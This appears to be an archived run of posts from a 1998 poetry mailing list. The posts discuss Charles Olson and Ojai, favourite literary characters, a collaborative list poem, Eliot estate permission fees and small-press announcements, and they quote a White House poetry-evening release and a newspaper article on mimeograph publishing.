Stupidly I loaned my copy of The Collected Prose of Charles Olson (Univ of California Press 1997) to someone undeserving of it, but that's the place to start for the explications of this passage from "Against Wisdom as Such." Donald Allen and Benjamin Friedlander who edited the book have such wonderful notes I'd be surprised if all is not explained therein. And so I don't remember, though they will, what is the reference to the "Ecole des Sages or Mages" (what French group Olson's speaking of). He must have been writing in 1952 or 1953 and at that time Ojai was the center, as it still is, of the US Theosophist movement, and Krishnamurti lived there, and Olson is here deriding the propensity of the intellectuals who flocked round the big K (Huxley, Isherwood, Heard, etc) to lose their sense of balance when confronted with K's holy wisdom. Olson's reading of San Francisco as a kind of Ojai North was of course a challenge to Duncan, a fruitful one it seems to me, tho Duncan admitted nothing and apologized for nothing, but went on to flaunt his own mysticism in ways greater and grander than anything he had done before. ("The Opening of the Field" can be read as Duncan's answer to Olson's charges in "Against Wisdom as Such." I think parts of Spicer's "Language" are also written with this essay in mind.)

I remember first coming here to California when I was a boy and going first straight to Santa Monica to pay homage to Isherwood and then to Ojai to see Krishnamurti. I was so high I'm surprised I didn't tumble off a cliff, or perhaps I did--like Madeleine, or Judy, in "Vertigo."

xxx Kevin Killian

↑ Index

351. **dbkk**
Olson/Ojai
Mon 13 Jul 1998

Christopher Alexander wrote:

> *Recently ran across this mysterious reference in Olson:*
>
> > *"San Francisco seems to have become an =E9cole des Sages ou Mages as ominous as Ojai, L.A."*
>
> *Any of you historically-minded californians (or anyone) out there know what the man is referring to? help wld be much appreciated...*
>
> *c h r i s*

Stupidly I loaned my copy of The Collected Prose of Charles Olson (Univ of California Press 1997) to someone undeserving of it, but that's the place to start for the explications of this passage from "Against Wisdom as Such." Donald Allen

and Benjamin Friedlander who edited the book have such wonderful notes I'd be surprised if all is not explained therein. And so I don't remember, though they will, what is the reference to the "Ecole des Sages or Mages" (what French group Olson's speaking of). He must have been writing in 1952 or 1953 and at that time Ojai was the center, as it still is, of the US Theosophist movement, and Krishnamurti lived there, and Olson is here deriding the propensity of the intellectuals who flocked round the big K (Huxley, Isherwood, Heard, etc) to lose their sense of balance when confronted with K's holy wisdom. Olson's reading of San Francisco as a kind of Ojai North was of course a challenge to Duncan, a fruitful one it seems to me, tho Duncan admitted nothing and apologized for nothing, but went on to flaunt his own mysticism in ways greater and grander than anything he had done before. ("The Opening of the Field" can be read as Duncan's answer to Olson's charges in "Against Wisdom as Such." I think parts of Spicer's "Language" are also written with this essay in mind.)

I remember first coming here to California when I was a boy and going first straight to Santa Monica to pay homage to Isherwood and then to Ojai to see Krishnamurti. I was so high I'm surprised I didn't tumble off a cliff, or perhaps I did--like Madeleine, or Judy, in "Vertigo."

xxx Kevin Killian

↑ Index

352. William Burmeister Prod
Re: romantic-not women duelling
Mon 13 Jul 1998

On Jul 10, 6:21pm, Karen Kelley wrote:

> *Anyone listees with characters they feel really speak to "how one lives one's life"?*

Hugo's Jean ValJean has always struck me as a great model for a life of love.

William

↑ Index

353. Jim McCrary
Re: romantic-not women duelling
Mon 13 Jul 1998

On Jul 10, 6:21pm, Karen Kelley wrote:

> Anyone listees with characters they feel really speak to "how one lives one's
> life"?

===

as a character in her own works and as a author i would have to add the late kathy acker.

jim mccrary

↑ Index

354. Susan E. Dunn
Underestimated Poetics
Mon 13 Jul 1998

Omigod, like,

Thepoetryofyoungwomen's life had stood a loaded gun and then some. Thepoetryofyoungwomen shops at the Gap. Thepoetryofyoungwomen eats an entire pint of Hagen Daz. Thepoetryofyoungwomen starves herself. Thepoetryofyoungwomen rolls her eyes and won't wipe that look off her face and doesn't care that you don't like her tone of voice. Thepoetryofyoungwomen is a vampire slayer, like Buffy. Thepoetryofyoungwomen smiles sweetly when you call her Blondie and then says asshole when you aren't in earshot. Thepoetryofyoungwomen got drunk on wine coolers and blew chunks. Thepoetryofyoungwomen wants to be an astronaut or a figure skater. Thepoetryofyoungwomen reads the Bell Jar and cries. Thepoetryofyoungwomen thinks Taylor Hanson is cute and Beck Hansen is deep. Thepoetryofyoungwomen is never called on even when her hand is up. Thepoetryofyoungwomen has seen Titanic three times but likes Little Women better. Thepoetryofyoungwomen is good at math. Thepoetryofyoungwomen polishes her nails black. Thepoetryofyoungwomen clears the table. Thepoetryofyoungwomen needs to check her messages. Thepoetryofyoungwomen is not impressed that your father wrote the history book.

Susan E. Dunn
"Are you in the English Department or the History Department?"
"I'm in the Toy Department."
--Maxine Hong Kingston, Tripmaster Monkey: His Fake Book
email: [redacted]
www: http://shc.stanford.edu/sed/sedunn.html

↑ Index

355. **Rachel Levitsky**
Re: romantic-not women duelling
Mon 13 Jul 1998

Maria Damon wrote:
>
> At 6:21 PM -0700 7/10/98, Karen Kelley wrote:
>
> >
> >Actually, I was thinking of love in a slightly different context yesterday. I
> >don't know who it was who said we can learn morality from novels, but I
> >started
> >thinking again about the "people" I've learned most from (& loved) and made my
> >not complete but pretty close list:
> >
> >Emma Bovary
> >Anna Karenina
> >Kate Pointellier
> >Isabel Archer
> >Tess Durbeyfield
> >Molly Bloom
> >(& Leopold)
> >Personally I can't really stand Jane Eyre but do love Bella, the crazy woman in the attic on whom Jean Rhys wrote _Wide Sargasso Sea_. Not that what happens to her is any better than what happens to everyone else but she does make a physical mark on the world, eg his house, his eyes (blinded).

-rdl

↑ Index

356. **Alan Jennifer Sondheim**
Re: Underestimated Poetics
Mon 13 Jul 1998

On Mon, 13 Jul 1998, Susan E. Dunn wrote:

> Omigod, like,
>
this is wonderful! Somehow I saw a derailed train rumble murmuring its way through the lines not all at the beginning but just carrying itself _out loud,_ the sound and psycho and social context. This is beautiful!

Alan

↑ Index

357. **Rachel Levitsky**
Re: Underestimated Poetics
Mon 13 Jul 1998

Susan E. Dunn wrote:
>
> Omigod, like,
>
> Thepoetryofyoungwomen's life had stood a loaded gun and then some.
> Thepoetryofyoungwomen shops at the Gap. Thepoetryofyoungwomen eats an
> entire pint of Hagen Daz. Thepoetryofyoungwomen starves herself.
> Thepoetryofyoungwomen rolls her eyes and won't wipe that look off her face
> and doesn't care that you don't like her tone of voice.
> Thepoetryofyoungwomen is a vampire slayer, like Buffy.
> Thepoetryofyoungwomen smiles sweetly when you call her Blondie and then
> says asshole when you aren't in earshot. Thepoetryofyoungwomen got drunk on
> wine coolers and blew chunks. Thepoetryofyoungwomen wants to be an
> astronaut or a figure skater. Thepoetryofyoungwomen reads the Bell Jar and
> cries. Thepoetryofyoungwomen thinks Taylor Hanson is cute and Beck Hansen
> is deep. Thepoetryofyoungwomen is never called on even when her hand is up.
> Thepoetryofyoungwomen has seen Titanic three times but likes Little Women
> better. Thepoetryofyoungwomen is good at math. Thepoetryofyoungwomen
> polishes her nails black. Thepoetryofyoungwomen clears the table.
> Thepoetryofyoungwomen needs to check her messages. Thepoetryofyoung-women is
> not impressed that your father wrote the history book.
>
> ----------
> Susan E. Dunn
> "Are you in the English Department or the History Department?"
> "I'm in the Toy Department."
> --Maxine Hong Kingston, Tripmaster Monkey: His Fake Book
> email: [redacted]
> www: http://shc.stanford.edu/sed/sedunn.html
> ----------

Susan mind if I add?

Thepoetryofyoungwomen makes xerox copies of her body parts. Thepoetryofyoungwomen thinks she should garden but prefers new shoes. Thepoetryofyoungwomen can never get past imitating G.Stein, as had been noted. Thepoetryofyoungwomen fights like a girl and wont be shaken from her party line. Thepoetryofyoungwomen shares knowing she deserves more than she gets. Thepoetryofyoungwomen would like to take up space and gets shorter. Thepoetryofyoungwomen grows so big it can screw in a lightbulb all by herself.

also forthcoming:
A reluctant promise to J. Kuszai of recap of last week of Naropa SWP events including the dog bite.

--rdl--

↑ Index

358. Billy Little

Re: Ojai et al

Mon 13 Jul 1998

---

duncan and spicer and blaser and ebbe beauregard and joanne kyger and joe dunn and mike mclure and helen adam and others(sister mary norbert korte, james alexander, george stanley, stan persky) attended regular meetings which i believe was known as the magic circle everybody was reading medieval scholarship in the fifties, gershom scholem, walker, ficino, kabala, tarot, which olson was reading also and doing the tarot everyday.

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

359. Christopher W. Alexander
Olson/Ojai
Mon 13 Jul 1998

Thanks to all for the very generous response here and backchannel! Not so coincidentally came across this exact quotation in POET BE LIKE GOD: JACK SPICER AND THE SAN FRANCISCO RENAISSANCE last night (the query had been prompted by my reading the Olson) -

> which is a good chance, anyway, for me to plug the book
> 'testimonial-style': rec'd it friday, and it's just dreamy! now
> everyone go buy it from the nice man at Bridge St. Books...
> and congrats to KK, who as usual does not disappoint
> (even though he was such a 'degenerate' youth!).
>
> c h r i s

p.s., if anyone cares to visit, the URL for The Ojai Foundation is <http://www.ojaifoundation.org/>; there's a tiny 'history' section that corroborates what's been sed on-list.

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

360. David Baratier
Re: Natch
Mon 13 Jul 1998

Bill Luoma--

A) notch on a plaster mold used in ceramics to keep the halves in position

B)ritish variation on notch

19 C) Karl Henekell. A movement. Based on a stringent disbelief in teleogical explanations. Considers natural causes to be the responsible for all movements in the mind. Specifically the word referred to the ample space required for _the_ environmental experiment. Unfortunately Zola, Prudhomme, and Coppee could not make up their mind what the _the_ was and so blamed Karl for the whole project. Karl got his revenge in 1883(?) with _Dichter charakter_ by anthologizing some mediocre work of theirs and making it look like Arno Holz was the only worthwhile German poet of the bunch. Holz got angry with Karl and

created a poetics and subsequent book called _Sekundenstil_ with miniture movements through the prose transitioning from a non-existent meter into a stiffer metrical sound st the end of the book. The joke being that Karl was extremely slow to get an erection, the lack of formal devices implying Karls lack of affluency. Then of course the style caught on sans joke to where the prose(call it what you will, short-short fiction etc.)poem currently rests with Robert Bly. (see Rupperrecht: Literarische Manifeste for a start)

D)errogatory slang word for Natchesan (Nachez tribe) people in southwestern Mississippi.

All spelling is approximate. There's a lot of other slang usages. Why me? I thought only Keats was a baiter of bears.

Be well

David Baratier

↑ Index

361. **toddbaron**
Re: romantic-not women duelling
Mon 13 Jul 1998

---

problem with
>
 characters "who" feel really speak to "how one lives
> one's
> > life"?
> is that they're living theirs/instead.
>

↑ Index

362. **maz881**
Natch
Mon 13 Jul 1998

David Baratier,

What does Natch mean?

↑ Index

363. Chris McCreary
publication announcement-- ixnay press
Mon 13 Jul 1998

This message is to announce the first two chapbooks to be published by ixnay press: Frank Sherlock's "13" & Pattie McCarthy's "Octaves."

"13" is a whopping 52 pgs long & staplebound w/ a heavy cardstock cover. From "13": Starwalker head/ for aenid/ once in a/ Life is yes/ like/ an orange/ says/ the dying old rabbi/ Verse volume/ picked up/ by/ a child &/ thrown down/ steps/ follows/ picked up again/ wipe off the meat/ with the citrus/ skins/ Word/ made pulp/ then sung among/ us

"Octaves" is 16 pgs long, printed on linen paper & staple-bound w/ a heavy cardstock cover. From "Octaves"-- A map of the past is a history itself--// one half pair of cloistered yew trees and unweary memory./ My desire to make ugly. Everything/ will be revised.

"13" sells for $6, "Octaves" goes for $5-- or you can get both for $10. Orders or queries should be sent to:

Chris McCreary
1164 S. 10th St.
Philadelphia PA 19147

or just e-mail me: [redacted]

Be sure to make checks out to me & not ixnay press. Thanks much.

↑ Index

364. Tom Beard
Re: romantic-not women duelling
Mon 13 Jul 1998

> *Yeah, but it must have been fun while it lasted! (I'm thinking of the earlier books up to and including "Lightness" . . .)*

Up to a point. I blame the friend of mine who first lent me "Lightness" (she kept a bowler hat beside her bed...)

Kundera did help me come to terms with a world where desire is transient, problematic, mediated yet undeniable. Other writers, such as Valentine de Saint-Point, Kapka Kassabova, Ian Wedde and Annemarie Jagose are helping me to understand desire/lust/longing/whatever in all its forms and deformations:

"Lust is the panic shudder of a particle of the earth"

- V de S-P

"May you never recover
from the lightness of my touch"

- K K

"ardent, headachy, Parnassian"

- I W

"What is lust's question? What could be less simple than a question of lust?"

- A J

It's impossible to write a love poem without questioning the self.

Tom Beard.

↑ Index

365. Karen Kelley
Re: romantic-not women duelling
Mon 13 Jul 1998

> *yikes girl w/ the list above i feel for you.*

Yeah, I know. I'm aware of all the reasons I'm not supposed to like them, and yet I still do--and I guess that's part of the appeal...

↑ Index

366. Susan Wheeler
The Writing Center, San Diego
Mon 13 Jul 1998

Any information on The Writing Center's status would be appreciated. Their phone seems to be disconnected after being connected a brief month or two ago.

Thanks all, and thanks for the thinking these days. Oblomov's mine (character thread).

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

367. **Peter Quartermain**
Re: The Eliot problem(s)
Mon 13 Jul 1998

Valerie Eliot and Faber and faber control the estate, and play it very close to the chest -- very hard if not impossible to get into the archives to see what's what, for instance.

As for avarice, well. Historically, in the US at any rate the anthologising rule was something like (this is way back in the 50s and 60s you realise) Harcourt Brace would permit a poem to be anthologised provided a) the poem appeared in a max of four anthologies at any one tiome, and b) the anthology iteslf sold for more that $4.50. There was also some other rule about paperbacks, I believe. (All this, you'll realize but not of course remember) when paperbacks were 25 or 35 cents (depending on size), Modern Library books what, $1.45 hardcover, Modern Library Giants $2.45; new fancy trade hardcovers $3.50 to $4.95 max. But you managed (I managed) as a visiting grad student in St Louis to live on a little less than $900 for a year (1955-6). Cornell offered TA-ships in English at $1100, out of which you paid your fees.

Anthologies were big business in those days (Understanding Poetry, I was once told, made its editors around a million each). Maybe they still are, but exceptionally not usually I'd say.

Avarice? I dunno. Control, yes.

One might note though (I think Jerry Rothenberg knows this more than I do) that literary estates are notorious for their dreams of wealth: one anthology I know of had to exclude Marianne Moore because the fee for two poems was MORE than the budget for all 800 or so pages of poetry in the book; cost of printing Zukofsky is, I'm told, $10.00 per line. Eliot? I have no idea, but if the fee is by the line, then The Waste Land would be pretty hefty, no?

Some anthologists, as a result, simply shove the poems in and hope the estate doesn't notice. In these litigious days that's extremely risky and can be cripplingly expensive (witness the Salinger bio some years back).

Peter

At 08:01 AM 7/13/98 -0600, you wrote:
>i'm curious about the first eliot problem. who controls the estate. is
>there any reason beside avarice that the cost of permissions is so high,
>i.e. is the prohibitiveness of the cost intended to be just that,
>prohibitive? if so, why? is there a subtext here and if so what is it?
>does anyone know? and thanks, ron, for linking stein and faulkner in terms
>of investigating the sentence. useful.
>

>At 5:52 AM -0500 7/10/98, [redacted] wrote:
>>There have been two Eliot problems raised in the past two days --
>>
>>One is the impact of his estate making stupid demands that keep the work
>>from appearing in something akin to Millenium, save by round-about means.
>>
>>The other is the Eliot as good/bad person thing.
>>
>>They're really very different issues. The former Eliot shares with the
>>estates of David Jones and Jack Kerouac. In Jones' case, where many people
>>don't know the work, it's really regretable. In the other cases, it's mostly
>>just stupid.
>>
>>The other question takes us into the quagmire shared by Pound, Spicer and
>>others, really a reader's problem -- how to handle a writer's racism (or
>>sexism or or or). Earlier this summer I read Faulkner's Flags in the Dust,
>>the original version of what was released as Satoris (before Faulkner became
>>famous and could really publish whatever he wanted). It's a rough work, in
>>the sense that a book like Visions of Cody is rough, brilliant and awkward
>>by turns. It's also the most racist work I've ever encountered, just jaw
>>droppingly so, even though he may have thought himself a liberal by northern
>>Mississippi 1930s standards. I've always liked Faulkner, since he is the one
>>writer of his generation besides Stein who seems to have seriously thought
>>about the sentence as a unit of writing ("thought" might not be the right
>>word), but it was hard to feel good about liking the writing when has to
>>wade through the muck.
>>
>>Ron Silliman
>

+ + + +

368. **Billy Little**
quartermain/cadell intro
Tue 14 Jul 1998

Now that I've read the entire introduction to Other by peter quartermain and rick cadell published in the new Jacket i don't know what you earlier commentors read . This essay is worthy of heidegger and gives an exhaustive outline and precise analysis of an activity over a time, if you could do better oh boy i can't wait to read it. Clear, concise and thorough. Thanks guys, i can't wait to read the book. Nitpicking is a sure sign of the brain in idle, nevertheless I'd say Linton Kwesi Johnson's language is delectable, i like it on the tongue like a candy.

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

369. **k. lederer**
New E-MAIL/EXPLO/KLEDERER
Tue 14 Jul 1998

I have new e-mail address--good for EXPLOSIVE MAGAZINE and Spectacular Books--

[redacted]

Katy Lederer

↑ Index

370. **k. lederer**
OOOps
Tue 14 Jul 1998

Actually, I thin it's

[redacted]

Katy

↑ Index

371. joel lewis
Re: The Eliot problem(s)
Tue 14 Jul 1998

Maria--

I think that dealing with the Eliot estate has been problematic. While Eliot was alive, they did not allow his works to be published in paperback anthologies. And I think there had been a resistance for years in putting his books in paerback format. I think, with the drop off in interest in his work, they've been repackaging the books, etc. The high cost of permissions is the reality is that where the estate makes its money (part of the reason that HarperCollins signed up Ginsberg was to get at a chunk of the permission fees).

These high fees are common to poets who are published by commercial and university presses. I discovered this when i did an anthology of NJ poets for rutgers university press. Unfortunatley, commercial houses have a hard time discerning between a regional anthology that sells a few thousand copies v. a college textbook-type anthology that sells 100's of thousands and are actual money-makers for the editors.

joel lewis

↑ Index

372. Jim Brashear
new magazine online
Tue 14 Jul 1998

Lipstick Eleven, a new print and online magazine of experimental writing, is now online at:

http://www.well.com/user/brash/L11.html

The print version is currently winding its way through the assembly lines of McNaughton & Gunn, and will soon be available from Small Press Distribution.

We're publishing work by Dodie Bellamy, Norma Cole, Carla Harryman, Robert Gluck, Kevin Killian, Camille Roy... plus many well-loved "others."

So go to our web site and give us a kiss. (You know you want to.)

Pucker up,

Jim Brashear
co-editor of Lipstick Eleven

↑ Index

373. John Tranter

Why does this make me want to throw up?

Tue 14 Jul 1998

Is there something wrong with me?
Why does this (below) make me want to throw up?
Come on. You guys are mainly American. Please explain.
Where we come from, this kind of stuff is pushed down the toilet,
and then we pull the chain.

John Tranter, Australia

I quote:
==========
President and Mrs. Clinton to Welcome
Poets Laureate for Millennium Evening at the White House

Transcript of Millennium Evening with Poets Laureate

The President and Mrs. Clinton have announced that the next Millennium
Evening will be a celebration of American creativity through poetry
featuring Poets Laureate Robert Pinsky, Robert Hass and Rita Dove and
will take place in the East Room of the White House on Wednesday, April
22 at 7:30 p.m. The Poets Laureate, along with President and Mrs.
Clinton and members of the audience, will read poems they have selected
as particularly illustrative of the American voice in poetry.

Millennium Evenings at the White House are a series of lectures and
cultural showcases that highlight creativity and inventiveness through our
ideas, art and scientific discoveries. The lectures present prominent
scholars, creators and visionaries and are accessible to

the public via
broadcast and cybercast.

The President and Mrs. Clinton encourage the public to participate in the
evening's discussion by e-mailing questions for the three poets laureate or
sending a favorite poem with comments, either before or during the
cybercast. These may be sent via the White House Web Site several days
before the event. The Website will also post satellite coordinates (on C
and KU bands) and serve as a link to the cybercast. It will also be
available via the Web page of Sun Microsystems.

Robert Pinsky is the current Poet Laureate Consultant in Poetry at the
Library of Congress. He is focusing his work on the Favorite Poem
Project. In commemoration of the millennium, one to two thousand
Americans, from every state, with varying regional accents, ages, levels of
education, professions and ethnicities will recite their favorite poems for
an audio/video archive. In addition to a long career in teaching, most
recently at Boston University, Professor Pinsky has served as poetry
editor of The New Republic. He is currently the poetry editor of the
on-line magazine Slate.

Robert Hass is Professor of English at the University of California,
Berkeley, and served as Poet Laureate Consultant in Poetry from 1995 to
1997. During his tenure, Professor Hass battled illiteracy by putting into
action his belief that, "Imagination makes communities." He also
sponsored a week long celebration of American nature

writing called
"Watershed." His commitment to environmental issues led him to found
the River of Words poetry contest which is run through the International
Rivers Network. Rita Dove is Commonwealth Professor of English at the
University of Virginia at Charlottesville and served as the poet Laureate
Consultant in Poetry between 1993 and 1995. She was the youngest
person --and the first African American --to receive that honor. While
Poet Laureate, Professor Dove brought a program of poetry and jazz to
the Library's literary series, along with a reading by young Crow Indian
poets and a two-day conference entitled "Oil on the Waters: The Black
Diaspora."

The Millennium Evening is co-sponsored by the White House, the
National Endowment for the Humanities, and the Library of Congress
with major support from Sun Microsystems, Inc. and further support
from the Howard Gilman Foundation. The first Millennium Evening was
held February 11, 1998, with Harvard historian Bernard Bailyn lecturing
on core Americans ideas which must be preserved into the next
Millennium. On March 6, 1998, Cambridge University physicist Stephen
Hawking discussed "Imagination and Change: Science in the Next
Millennium." Transcripts are available on the White House web site.
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374. **Pritchett,Patrick**
Re: In the News
Tue 14 Jul 1998

NYT - July 14, 1998

A Louder Voice for Poetry

By HOLLAND COTTER

America is a nation of poets; New York is a city of poets. But it often seems that only poets themselves are aware of the fact. Audiences for their work are small, financial rewards meager, opportunities to appear in prominent public forums few.

This situation seems to be changing. Competitive poetry readings known as slams have gained an ardent following, and the National Slam, a four-day world championship of poetry, will kick off on Aug. 18 in Austin, Tex.; a 1998 documentary titled "Slam Nation" will open at Film Forum on Friday.; literary bands are flourishing in rock clubs, and poetry has blossomed on the Internet, a medium that eliminates the customary publication hierarchies and gives everyone a say.

But writing poetry as a full-time pursuit, as the thing you do, is still a pioneer's art. There are no shortcuts, no guarantees; resilience and self-reliance are crucial career qualifications.

This has always been true. More than a century ago, Walt Whitman paid a Brooklyn print shop to run off the first edition of his too-hot-to-handle "Leaves of Grass" and distributed and promoted the book himself. Emily Dickinson stitched her handwritten poems into little packets -- each, in effect, a self-published book -- to store away in her New England bedroom for future eyes to find.

Self-publishing enjoyed a real florescence in our own century. Beginning in the 1950's and early 60's, a new poetry outside the academic mainstream was on the rise. It was encouraged by advances in duplicating technology -- mimeographing, offset printing, photocopying -- that made it possible for writers to produce magazines and books cheaply and virtually overnight while having control over contents and circulation.

"A Secret Location on the Lower East Side: Adventures in Writing, 1960-1980," at the New York Public Library at Fifth Avenue at 42d Street through July 25, documents this rich, four-decade-long indie phenomenon in American literature, often called the "mimeograph revolution."

Organized by Rodney Phillips and Steven E. Clay and drawn mostly from the library's collection, the show encompasses some 400 publications, from quick-

and-dirty pamphlets to elegantly designed books. (About half the material, in fact, isn't mimeographed.) Some of the best known artists of the era contributed cover art.

A few of the journals are still appearing; most are long gone. And in a sense, it is their ephemerality and their underground origins (the show's title is borrowed from the poet Edward Sanders's account of producing a dissident magazine in his New York apartment) that makes them historically important. As the show's rows upon rows of vitrines reveal, these fragile publications were not so much literary monuments as records of dynamic ideas and personalities passing through a particular time and place.

Although the United States was in tamped-down cold war mode in the 1950's, countercultural energy was stirring. Experimental poetry was an outlet for this ferment, and early on, the avant-garde tended to separate into movements along lines of style, locale and dominant personalities, all of which were defined by Donald Allen's groundbreaking 1960 anthology, "The New American Poetry, 1945-1960."

Charles Olson and Robert Creeley, for example, presided over an influential group of writers at Black Mountain College in North Carolina. Robert Duncan was a central figure in a San Francisco renaissance. The poet Frank O'Hara was the lodestar for a so-called New York School. And Allen Ginsberg turned beat poetry into a galvanic force from coast to coast.

Wildly Varied Work Is Brought Together

The work that resulted was wildly varied, but it staked out new esthetic terrain. It brought popular culture, non-Western thought and countercultural politics together in a language that mixed the rhythms of common speech and the improvisatory flair of jazz. And each group generated a multitude of journals and small press books, often created by hand and on the fly.

One of the first entries in the show suggests the flavor of much of what follows. It is a smudgy, much-handled copy of a poem by Ginsberg titled "Siesta in Xbalba." Ginsberg wrote the piece in Mexico in 1954 but published it himself two years later as a 12-page booklet that he mimeographed aboard a cargo ship in the Bering Sea. He gave friends almost the entire edition, 52 hand-stapled copies.

Just a year earlier, the writer had made literary history when he read his explosively anarchic "Howl" in San Francisco. (A first edition of another of his beat anthems, "Kaddish," published by City Lights Books, is one of the show's iconic objects.) And around the same time, extraordinary things were starting to brew in New York.

Like everything about the city, the poetry was wildly pluralistic, though social circles and trends overlapped. The beat presence was evident in magazines like Yugen, founded in 1958 by the poet and playwright LeRoi Jones (who changed his name to Imamu Amiri Baraka). A little later came the highly polished Art and Literature, edited by John Ashbery and devoted to the work of the New York School poets. And both groups appeared in the mimeographed magazine Kulchur, which had both O'Hara and Baraka on its editorial board.

All these journals figure in the show, but the real focus falls on publications associated with a second generation of New York School poets who settled on the Lower East Side around 1960. At that point mimeographed publications really began to proliferate. Among the most adventurous of them was C: A Journal of Poetry, founded by Ted Berrigan, who had come to New York from Tulsa, Okla., along with the poet Ron Padgett and the artist Joe Brainard.

The Word and Art Helping Each Other

Berrigan had learned to use mimeograph machines in the Army during the Korean War, and he turned C into an exceptional product. Not only was it packed with some of the best writers around, but also it was almost as engaging to look at as it was to read, thanks both to Brainard, who is one of the visual heroes of the exhibition, and to the range of artists whom Berrigan asked to contribute work.

Indeed, the interplay of literature and art was a hallmark of the period. Poets like Ashbery, Bill Berkson and Peter Schjeldahl were also art critics. Tibor de Nagy Gallery, among others, routinely published poetry (and has recently begun to do so again). Work by painters like Philip Guston, Alex Katz, Brice Marden, and Andy Warhol crop up on book and magazines covers throughout the show. (Reva Wolf's 1997 book "Andy Warhol, Poetry and Gossip in the 1960's" gives a fascinating glimpse, by the way, into these relationships.)

The exhibition also make good use of other visual material -- snapshots, paintings, videos -- to evoke the tightly networked social communities from which these publications emerged. The Aquarian Age of psychedelic drugs, Vietnam and sexual liberation was itself, of course, a binding force. But so were the collaborative activities that any shoestring literary scene generates: readings and meetings and workshops, all-night printing and collating parties, the passing of fresh images from hand to hand.

By 1966, much of the action centered on the utopian institution known as the Poetry Project, established that year at St. Marks-in-the-Bowery Church in the East Village. Some gorgeous publications -- notably Angel Hair, edited by Anne Waldman and Lewis Warsh -- had their origins there. So did the Poetry Project Newsletter, which was started by Ron Padgett in 1972 (a copy of the first issue

is on display) and remains an invaluable source of information on poetry, both in New York and beyond.

The show also succeeds in giving a sense of the sheer variety of fringe publications that appeared. Designs range from the minimalist look of journals devoted to Concrete poetry and Language writing edited by Aram Saroyan, Clark Coolidge, Ron Silliman, Charles Bernstein and Bernadette Mayer, to the surrealist flair of the cult magazine Semina, created by the West Coast assemblagist Wallace Berman. (The magazine, which was distributed through the mail, was never for sale; its proto-hippie motto was "Art is love is God.")

An Early Bulwark of Multiculturalism

And for evidence that multiculturalism was firmly in place many decades before the 1990's, one need look no further than journals that bring issues of race and sexuality to the fore. Some, like Umbra, focused on black American culture. Others, like Poems From the Floating World, edited by Jerome Rothenberg, mixed Chinese, Arabic and American Indian work. And gay voices found a place, from collaborations between Robert Duncan and his lover, the collagist Jess Collins in the 1950's, to the stylish New Wave Little Caesar, edited by Dennis Cooper in Los Angeles in the 70's.

In the late 1970's and 80's, a third generation of New York School poets emerged, and with it publications reflecting new impulses and styles, including neo-punk rock. Some of the magazines, like the short-lived but lively Dodgems, created by the poet Eileen Myles, who has been called "the last of the New York School poets," were nonmimeo in format. And by the late 80's, desktop publishing had rendered such old production modes all but obsolete.

By the time the show draws to a close, just short of the advent of computer technology, it has covered a huge amount of material and inevitably things are left out.

An important and still-vibrant Lower East Side institution like the Nuyorican Poets Cafe, which is based on oral poetry traditions, is given scant mention. The same is true of the wide range of theater and performance art that has always been an integral part of the poetry world. (Such work is increasingly available on homemade videos and audio tapes, yet another alternative publishing medium for poetry.)

Even with some omissions, the ground that has been covered is vast. And it is great to know that the painstaking exercise in historical research that the show represents will have an afterlife in the form of a catalogue to be published jointly by the library and Granary Books in October.

Of course, no book or lineup of display cases can convey the exhilarating charge of live poetry, hot off the press or spoken out loud. And this raises again the

question of the future of this seemingly vulnerable, transitory art. Will it find new venues? (Surely the still-forming gallery neighborhood in Chelsea is tailor-made for reforging the link between art and poetry.) Or will it be swamped and made ever smaller by a media-saturated information age?

Eileen Myles, who has lived and written in the East Village for 25 years, is encouraged. "Poetry is always radical," she says. "It's pure democracy. You can't limit it to a one-minute MTV slot. You can't confine it to bytes. It's an art about time and about expansiveness, the open road. Young people now in their 20's now are hungry for that. And we're in there with them."

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375. Henry G
Re: Why does this make me want to throw up?
Tue 14 Jul 1998

The amazing thing is that the Millennium Evenings are actually cyborg virtual "forecasts" from the previous Millennium (a.d. 1000) - the "real" Clintons, Pinsky, Hass, and 500 points of light were invited to Camp David for that evening for a barbecue and a game of "touch-football-with-the-President", sponsored by Nike & Muzak. - Henry Fool

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376. William Marsh
Re: The Writing Center, San Diego
Tue 14 Jul 1998

Susan

The Writing Center closed due to lack of funds -- unfortunately not doing the kind of business they needed to to keep afloat

bill marsh

At 09:31 PM 7/13/98 -0400, you wrote:
>Any information on The Writing Center's status would be appreciated. Their
>phone seems to be disconnected after being connected a brief month or two ago.
>
>Thanks all, and thanks for the thinking these days. Oblomov's mine
>(character thread).
>
>Susan Wheeler
>[redacted]
>voice/fax [redacted]

>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

377. **Mark Prejsnar**
vomit & politix & poetizing
Tue 14 Jul 1998

John Tranter:

There's nothing wrong with you (that a little change of citizenship wouldn't cure). Your problem is, you aren't a USAmerican...

i will try to explain it for you. In the U.S. the labor movement (and therefore most forms of left struggle, and therefore dissident and original thought in general) were defeated/kept in check/bought off, a long time ago. Also, factor number two, the US ruling class and its power structures have been made into world-cop overlords (the american century etc.) via a series of economic and geopol developments.

The concatenation of these things means: 1. a stunning lack of critical edge in public discourse, particularly among those who have the capial and the social position to really set the tone; and 2. what amounts to a monarchical/dictatorial system, often refered to as the Imperial Presidency. The president can be checked on occasion by the Congress (cf. Nixon) but that body is controlled by a single governmental machine (the Republicrat structure, which called "two political parties" but isn't even one, since it is not based on mass membership) that has no real differences of interest from the prez. So *anything* whether it involves poets or ballplayers or school teachers for idaho or army veterans or whatever, that involves the casa blanca is treated as a religious event, comperable in weepy magnificence to a Norman Rockwell canvas...

Of course, tho' i guess they have their moments once in a while, the "laureates" are (like most of their compeers) quite bad and quite uninteresting as poets, most of the time. It's their sort you often find kickin' up their heels with caeser, isn't it? and not just in "the good ol' USA!!"

mark
@lanta

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378. Jordan Davis
sortes pinskianae
Tue 14 Jul 1998

Afloat on their shoulders,
And vague depression on the long walk home
The belts and spindles are nearly
And conceived,
"In all those years at work I must have seen
The dried mucus of her nose
